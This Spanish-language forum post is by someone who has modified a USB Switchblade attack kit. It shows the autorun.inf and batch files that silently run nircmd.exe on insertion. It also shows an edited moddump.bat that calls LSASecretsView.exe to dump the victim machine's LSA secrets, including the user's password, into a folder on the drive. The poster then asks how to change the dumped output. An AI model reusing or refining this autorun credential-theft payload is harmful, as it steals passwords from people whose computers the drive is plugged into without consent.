Buenas foro
Me puse a ver un poco el USBSwitchblade y modifique un poco el código de los .bat
en el .inf
[autorun]
action=Open Files On Folder
icon=icons\favicon.ico
shellexecute=nircmd.exe execmd CALL batexe\progstart.bat
eso me lleva a el progstart.bat
en el cual me mostraban los .bat que se ejecutaban con ayuda del nircmd.exe
@echo off
nircmd.exe execmd CALL batexe\moddump.bat
nircmd.exe execmd CALL batexe\modsmax.bat
y en el moddump.bat
hice un pequeño cambio.
@echo off
nircmd.exe execmd mkdir "dump\~$sys.computername$"
nircmd.exe execmd .\batexe\LSASecretsView.exe /shtml "dump\~$sys.computername$\Log.html"
en ves de dejar que se ejecutaran todos los archivos que me sacan cuentas de correo y demás cosas que no me interesaban, metí el LSASecretsView.exe para sacar el password del usuario.
Pero no es como esperaba
me lo muestra así
pero lo que quiero es que me muestre algo así
que parte de este codigo
@echo off
nircmd.exe execmd mkdir "dump\~$sys.computername$"
nircmd.exe execmd .\batexe\LSASecretsView.exe /shtml "dump\~$sys.computername$\Log.html"
debería modificar para que me mostrara como en la segunda imagen
Autor
En línea
